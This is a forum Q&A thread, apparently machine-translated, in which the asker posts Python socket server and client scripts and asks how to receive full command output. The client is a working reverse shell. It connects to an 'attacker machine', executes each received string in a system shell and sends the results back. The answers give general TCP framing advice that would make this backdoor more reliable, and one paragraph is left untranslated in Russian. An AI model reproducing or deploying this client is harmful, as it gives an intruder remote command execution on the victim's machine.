How to get whole message using python socket?

Question

Python

There are two scripts client and server.
The server sends commands to the client, and the client must execute them and send output to the server.
One example
is described below. 1. The server sends a command (ps -aux) to the client 2. The client
receives the command and executes it. It then sends the result to the server. The server does not receive all the information because there is a limit of 8192 bytes and some of the information has not been received.
The next question is how to get all the information correctly.
server

HOST = '192.168.173.1'
        PORT = 2016
        s = socket(AF_INET, SOCK_STREAM)
        s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        s.bind((HOST, PORT))
        print ('Listening on 192.168.173.1:%s' % str(PORT))
        s.listen(10)
        conn, addr = s.accept()
        print ('Connected by',addr)
        data = conn.recv(8192)
        while 1:
             command = input("Enter shell command or quit: ")
             conn.send(command.encode())
             if command == "quit": break
             data = conn.recv(8192)
             print (data.decode())
        conn.close()

client

HOST = '192.168.173.1'    # The remote host
        PORT = 2016            # The same port as used by the server
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # connect to attacker machine
        s.connect((HOST, PORT))
        # send we are connected
        s.send('[*] Connection Established!')
        # start loop
        while 1:
             # recieve shell command
             data = s.recv(1024)
             # if its quit, then break out and close socket
             if data == "quit": break
             # do shell command
             proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.PIPE)
             # read output
             stdout_value = proc.stdout.read() + proc.stderr.read()
             # send output to attacker
             s.send(stdout_value)
        # close socket
        s.close()

Answer 1

In a good way, when using TCP, you should send a "header" at the very beginning, which will indicate the number of bytes in the subsequent message, so that the other side knows how many bytes are left to read from the channel. During the sending process, the package may be split into several. For example, you send 8192, and several packs of 1024 bytes arrive.
Простой цикл чтения "до тех пор, пока есть данные" сработает на локалхосте, где задержки в передаче минимальны и отсутствуют потери и переотправка.
Хм. ещё можно послать по UDP, там максимальный размер пакета 64 КБ, протокол сам поделит сообщение на куски и соберёт их на другом конце. Так что при чтении сокета получите сразу всё сообщение. Но не гарантируется доставка.

Answer 2

You need to implement a protocol (an agreement on top of your transport protocol).
In your task, I see two solutions:
1. Wait for the command to complete and send the entire result. You create a buffer, fill it up until the completion of the child application, and then send the header and attach the buffer to the header. Both parties must know the length of the header in advance. The simplest implementation would be the implementation in Twisted twistedmatrix.com/documents/9.0.0/api/twisted.prot...
2. Create a kind of data bus and send events. One of the events is the transmission of a string from the application. This is great for "continuous" (long-term or eternal) output-generating applications. You can also think about the input to the application and here you are implementing the interactive SSH subsystem (SSH also has exec, sftp, etc.). In general, for this task with events, you can already apply ready-made solutions for ZeroMQ data buses, AMQP systems, etc.
If the question is not academic, then I recommend paying attention to ready-made orchestration systems (in Russian it probably sounds like this - please correct in the comments if otherwise).